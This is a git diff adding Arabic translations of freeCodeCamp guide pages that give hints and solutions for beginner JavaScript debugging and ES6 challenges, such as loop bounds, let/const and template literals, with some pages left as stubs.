+بسبب الطريقة التي تعمل بها فهارس جافا سكريبت `firstFive` لديها **خمسة عناصر** لكنها مفهرسة من **0 إلى 4** !
+
+ `console.log(len); // 5 
+ console.log(firstFive[0]); // 1 
+ /**/ 
+ console.log(firstFive[4]); // 5 
+ console.log(firstFive[5]); // undefined 
+` 
+
+يجب أن يعطيك ما يكفي لإدراك حدود `firstFive` . توجيه انتباهك إلى الحلقة. ماذا تعمل، أو ماذا تفعل؟ يمكنك محاولة تصحيح الأخطاء لمعرفة ذلك!
+
+### التصحيح
+
+يتم منحك هذا الرمز:
+
+ `  for (let i = 1; i <= len; i++) { 
+    console.log(firstFive[i]); 
+  } 
+` 
+
+لتصحيح هذه القطعة من التعليمات البرمجية ، استخدم `console.clear()` . ما هو أفضل مكان لذلك؟ الجواب الصحيح قبل `for` بيان!
+
+ `  console.clear(); 
+  for (let i = 1; i <= len; i++) { 
+    console.log(firstFive[i]); 
+  } 
+` 
+
+إخراج وحدة التحكم:
+
+ `  Console was cleared. 
+  2 
+  3 
+  4 
+  5 
+  undefined 
+` 
+
+### تحليل
+
+دراسة الانتاج. تحت هذه الشروط ، تقوم الحلقة أولاً بطباعة العنصر الموضع في 1… وهو 2! يحاول أيضًا طباعة العنصر المفهرس في 5 وهو غير `undefined` .
+
+يمكن اعتبار هذا هو الهدف من هذا التحدي. إبقاء `console.log()` و `console.clear()` الحالية. سوف تساعدك على فهم كيفية عمل التعليمات البرمجية الخاصة بك.
+
+### حل
+
+الطريقة الأكثر مباشرة لإصلاح هذا هي تغيير الشروط (). اجعل `i` تبدأ عند 0. كذلك **لا** يجب تنفيذ الحلقة لـ i = = 5. وبعبارة أخرى ، يجب أن تكون العلاقة بين `i` و `len` `false` عند i == 5. يمكن تحقيق ذلك باستخدام `i < len` (Is 5 <len؟ false ، ولن يتم تنفيذ الحلقة!).
+
+ `  for (let i = 0; i < len; i++) { 
+` 
+
+**الترميز سعيدة!** :الحاسوب:
+
+### مصادر
+
+*   [لتحدي البيانات في FreeCodeCamp](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops)
+*   [للإدلاء ببيانات في مستندات ويب MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md
new file mode 100644
index 0000000000..839dd3fc37
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md
@@ -0,0 +1,32 @@
+---
+title: Catch Unclosed Parentheses, Brackets, Braces and Quotes
+localeTitle: قبض على الأقواس غير المغلقة ، بين قوسين ، الأقواس والاقتباسات
+---
+## قبض على الأقواس غير المغلقة ، بين قوسين ، الأقواس والاقتباسات
+
+تقلل طريقة تقليل () صفيفًا إلى قيمة واحدة. إذا لم تكن على دراية بها ، يعرض التعليمة البرمجية التالية مثالاً على استخدام الطريقة:
+
+ `const array1 = [1, 2, 3, 4]; 
+ console.log(array1.reduce((accumulator, currentValue) => accumulator + currentValue));  // expected output: 10 
+` 
+
+يمكنك أيضًا تعريف الوسيطة إلى طريقة الاختزال كمتغير أو ثابت وتسليمها إلى الوظيفة ، على سبيل المثال ،
+
+ `const array1 = [1, 2, 3, 4]; 
+ const reducer = (accumulator, currentValue) => accumulator + currentValue; 
+ 
+ // 1 + 2 + 3 + 4 
+ console.log(array1.reduce(reducer));      // expected output: 10 
+ 
+ // 5 + 1 + 2 + 3 + 4 
+ console.log(array1.reduce(reducer, 5));   // expected output: 15 
+` 
+
+يمكنك رؤية وتشغيل هذا الرمز في [Array.prototype.reduce ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) .
+
+## حل:
+
+ ``let myArray = [1, 2, 3]; 
+ let arraySum = myArray.reduce((previous, current) =>  previous + current); 
+ console.log(`Sum of array values is: ${arraySum}`); 
+``
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md
new file mode 100644
index 0000000000..e27457f41d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md
@@ -0,0 +1,23 @@
+---
+title: Catch Use of Assignment Operator Instead of Equality Operator
+localeTitle: قبض على استخدام مشغل التعيين بدلا من مشغل المساواة
+---
+## قبض على استخدام مشغل التعيين بدلا من مشغل المساواة
+
+*   فقط بيان if يجب أن يتم تحريره في هذا challenege.
+*   يتم استخدام عامل التشغيل `=` فقط من أجل تعيين القيم ، وليس لمقارنتها.
+
+## حل
+
+ `let x = 7; 
+ let y = 9; 
+ let result = "to come"; 
+ 
+ if(x == y) { 
+  result = "Equal!"; 
+ } else { 
+  result = "Not equal!"; 
+ } 
+ 
+ console.log(result); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/index.md
new file mode 100644
index 0000000000..48dd8f4c91
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/index.md
@@ -0,0 +1,11 @@
+---
+title: Debugging
+localeTitle: التصحيح
+---
+## التصحيح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md
new file mode 100644
index 0000000000..e860a4239c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md
@@ -0,0 +1,28 @@
+---
+title: Prevent Infinite Loops with a Valid Terminal Condition
+localeTitle: منع حلقات لا نهائية مع شرط محطة صالح
+---
+## منع حلقات لا نهائية مع شرط محطة صالح
+
+*   لمنع حلقة لا نهائية، و `while-condition` يجب أن تصل إلى حالة محطة للخروج من الحلقة.
+*   لذا يحدث الخطأ في هذا التحدي بسبب الشرط - `i != 4` - في حلقة for.
+*   إذا ألقيت نظرة عن كثب على الرمز:
+
+ `function myFunc() { 
+  for (let i = 1; i != 4; i += 2) { 
+    console.log("Still going!"); 
+  } 
+ } 
+` 
+
+*   سترى أن `i` هو initialised أولا ك 1 وبعد كل تكرار للحلقة، `i` يتزايد بنسبة 2.
+*   باستخدام هذا المنطق ، بعد التكرار الأول - `i = 3` والتكرار الثاني `i = 5` ، لن يتم استيفاء الشرط `i != 4` وستحدث حلقة لا نهائية.
+
+## حل:
+
+ `function myFunc() { 
+  for (let i = 1; i <= 4; i += 2) { 
+    console.log("Still going!"); 
+  } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md
new file mode 100644
index 0000000000..3962965d49
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md
@@ -0,0 +1,9 @@
+---
+title: Understanding the Differences between the freeCodeCamp and Browser Console
+localeTitle: فهم الاختلافات بين freeCodeCamp و Browser Console
+---
+## فهم الاختلافات بين freeCodeCamp و Browser Console
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md
new file mode 100644
index 0000000000..bddffc1f65
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md
@@ -0,0 +1,47 @@
+---
+title: Use Caution When Reinitializing Variables Inside a Loop
+localeTitle: استخدام الحذر عند Reinitializing متغيرات داخل حلقة
+---
+## استخدام الحذر عند Reinitializing متغيرات داخل حلقة
+
+*   يجب حل هذا التحدي من خلال إعادة تعريف نطاق `row[]` .
+*   فيما يلي مثال على المصفوفة المطلوبة.
+
+ `[ 
+ [0][0], 
+ [0][0], 
+ [0][0] 
+ ] 
+` 
+
+*   ومع ذلك ، فإن المصفوفة الحالية - الموضحة أدناه - بعيدة عن المصفوفة المرغوبة
+
+ `[ 
+ [0][0][0][0][0][0], 
+ [0][0][0][0][0][0], 
+ [0][0][0][0][0][0] 
+ ] 
+` 
+
+*   يحدث هذا الخطأ بسبب `row[]` صف يتم الإعلان عنه كمتغير عمومي خارج الحلقة المتداخلة.
+*   ومع ذلك ، لملء المصفوفة بشكل صحيح يجب إعادة تعيين `row[]` بعد كل تكرار للحلقة الخارجية.
+
+## حل
+
+ `function zeroArray(m, n) { 
+  let newArray = []; 
+  for (let i = 0; i < m; i++) { 
+     let row = []; /* <-----  row has been declared inside the outer loop. 
+     Now a new row will be initialised during each iteration of the outer loop allowing 
+     for the desired matrix. */ 
+    for (let j = 0; j < n; j++) { 
+ 
+      row.push(0); 
+    } 
+    newArray.push(row); 
+  } 
+  return newArray; 
+ } 
+ let matrix = zeroArray(3, 2); 
+ console.log(matrix); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md
new file mode 100644
index 0000000000..c488c5b124
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the JavaScript Console to Check the Value of a Variable
+localeTitle: استخدم وحدة تحكم جافا سكريبت للتحقق من قيمة المتغير
+---
+## استخدم وحدة تحكم جافا سكريبت للتحقق من قيمة المتغير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md
new file mode 100644
index 0000000000..119d17a4b4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md
@@ -0,0 +1,13 @@
+---
+title: Use typeof to Check the Type of a Variable
+localeTitle: استخدم typeof للتحقق من نوع المتغير
+---
+## استخدم typeof للتحقق من نوع المتغير
+
+*   استخدم `console.log(typeof variable)` لعرض نوع المتغير المطلوب.
+
+## حل:
+
+ `console.log(typeof seven); 
+ console.log(typeof three); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md
new file mode 100644
index 0000000000..bb9000cb82
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md
@@ -0,0 +1,60 @@
+---
+title: Compare Scopes of the var and let Keywords
+localeTitle: قارن Scopes من var واسمح للكلمات الرئيسية
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### شرح المشكلة:
+
+نحن بحاجة إلى تغيير `var` `let` نطاق وظيفتنا وإضافة `let` بنطاق الحظر الخاص بنا.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   العثور على `var` واستبدال مع `let` .
+
+> _حاول أن تحل المشكلة الآن_
+
+*   إضافة `let` للمتغير `i` داخل بيان if الخاص بك.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function checkScope() { 
+      "use strict"; 
+      let i = "function scope"; 
+      if (true) { 
+        let i = "block scope"; 
+        console.log("Block scope i is: ", i); 
+      } 
+    console.log("Function scope i is: ", i); 
+    return i; 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://codepen.io/dylantyates/pen/wxwxRd)
+
+# شرح الشفرة:
+
+باستخدام `let` لك يمكن أن تعلن المتغيرات فيما يتعلق بنطاقها.
+
+#### روابط ذات صلة
+
+*   [سمح](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md
new file mode 100644
index 0000000000..98cf1a7ac7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md
@@ -0,0 +1,19 @@
+---
+title: Create an Export Fallback with export default
+localeTitle: قم بإنشاء "تصدير تراجعي" باستخدام الإعداد الافتراضي للتصدير
+---
+## قم بإنشاء "تصدير تراجعي" باستخدام الإعداد الافتراضي للتصدير
+
+ما هي القيمة الاحتياطية؟ إنه في الأساس افتراض أن الرمز سيعود إذا لم يتم تعيين أي شيء. على سبيل المثال ، تحتوي المتغيرات على القيمة الاحتياطية الافتراضية `undefined` . أن يقال ، تلميحا لهذا التحدي!
+
+## تلميح 1:
+
+ما عليك سوى إضافة `export default` إلى بداية الوظيفة.
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `"use strict"; 
+ export default function subtract(x,y) {return x - y;} 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md
new file mode 100644
index 0000000000..3875835655
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md
@@ -0,0 +1,37 @@
+---
+title: Create Strings Using Template Literals
+localeTitle: إنشاء سلاسل باستخدام قوالب حرفية
+---
+بدلاً من استخدام سلسلة string ، يقدم ES6 القيم الحرفية للقوالب لإنشاء سلاسل. في هذا التحدي ، يجب عليك استخدام القيم الحرفية للقالب لإنشاء صف من التحذيرات النصية.
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج وكتابة التعليمات البرمجية الخاصة بك.
+
+### شرح المشكلة:
+
+مطلوب لاستخدام القيم الحرفية للقالب لإرجاع قائمة كل عنصر في الصفيف حيث سيتم لف العنصر في علامة `<li></li>` .
+
+## تلميح: 1
+
+*   استخدم الدالة `map()` لتطبيق القيم الحرفية على كافة عناصر `arr`
+
+> _حاول أن تحل المشكلة الآن_
+
+## تلميح: 2
+
+*   داخل `map()` استخدم وظيفة السهم التي تحتوي على `element` كمعلمة وترجع `<li></li>` التي تحتوي على فئة تحذير النص وتحتوي على `element` بداخلها
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+``const resultDisplayArray = arr.map(item => `<li class="text-warning">${item}</li>`);``
+
+## لا خريطة () الحل
+
+على الرغم من أنه حل أقل مرونة ، إذا كنت تعرف عدد العناصر مقدمًا ، يمكنك تعدادها كما هو موضح في
+
+``const resultDisplayArray = [`<li class="text-warning">${arr[0]}</li>`, `<li class="text-warning">${arr[1]}</li>` ,`<li class="text-warning">${arr[2]}</li>`];``
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md
new file mode 100644
index 0000000000..11573f27a2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md
@@ -0,0 +1,67 @@
+---
+title: Declare a Read-Only Variable with the const Keyword
+localeTitle: قم بتعريف متغير للقراءة فقط مع الكلمة الأساسية const
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### شرح المشكلة:
+
+تغيير جميع المتغيرات `let` أو `const` وإعادة تسمية `sentence` .
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   استبدال `var` للسلسلة مع `const` للقراءة فقط.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   استبدل `var` in `for` loop `let` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   الاصطلاح الشائع هو تسمية المتغيرات `const` مع ALL CAPS.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function printManyTimes(str) { 
+      "use strict"; 
+      const SENTENCE = str + " is cool!"; 
+      for(let i = 0; i < str.length; i+=2) { 
+        console.log(SENTENCE); 
+      } 
+    } 
+    printManyTimes("freeCodeCamp"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://codepen.io/dylantyates/pen/OwVxyx)
+
+# شرح الشفرة:
+
+باستخدام `const` في `sentence` يمكننا ان نجعلها للقراءة فقط وباستخدام `let` على `i` داخل لحلقة يمكننا تجنب استخدام `var` كل ذلك معا. لمزيد من الوضوح في الشفرة ، يمكننا أيضًا تغيير `sentence` إلى `SENTENCE` لإظهار أنها ثابتة.
+
+#### روابط ذات صلة
+
+*   [CONST](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)
+*   [سمح](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md
new file mode 100644
index 0000000000..33509e6daa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md
@@ -0,0 +1,57 @@
+---
+title: Explore Differences Between the var and let Keywords
+localeTitle: استكشاف الاختلافات بين فار والسماح للكلمات الرئيسية
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### شرح المشكلة:
+
+نحتاج إلى تغيير كل `var` `let` برمزنا.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   العثور على كل `var` واستبدال مع `let` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    let catName; 
+    let quote; 
+    function catTalk() { 
+      "use strict"; 
+ 
+      catName = "Oliver"; 
+      quote = catName + " says Meow!"; 
+ 
+    } 
+    catTalk(); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://codepen.io/dylantyates/pen/eKqoGY)
+
+# شرح الشفرة:
+
+باستخدام `let` بدلاً من `var` يمكننا تجنب `catName` `quote` .
+
+#### روابط ذات صلة
+
+*   [فار](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
+*   [سمح](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md
new file mode 100644
index 0000000000..f72b57f27d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md
@@ -0,0 +1,20 @@
+---
+title: Import a Default Export
+localeTitle: استيراد تصدير افتراضي
+---
+## استيراد تصدير افتراضي
+
+يكون استيراد قيمة افتراضية للتصدير هو نفسه تقريبًا عند استيراد تصدير عادي ؛ أنت لا تحتاج إلى الأقواس المتعرجة لتحديد اسم ما تستورده من الملف!
+
+## تلميح 1:
+
+املأ الفراغات: `import _ from "file-name"` . قم بتوصيل اسم الوحدة (الذي يتم `subtract` ) إلى `_` ووضع `"math-functions"` في `"file-name"` .
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `"use strict"; 
+ import subtract from "math_functions"; 
+ subtract(7,4); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/index.md
new file mode 100644
index 0000000000..beefbfa138
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/index.md
@@ -0,0 +1,11 @@
+---
+title: ES6
+localeTitle: ES6
+---
+## ES6
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
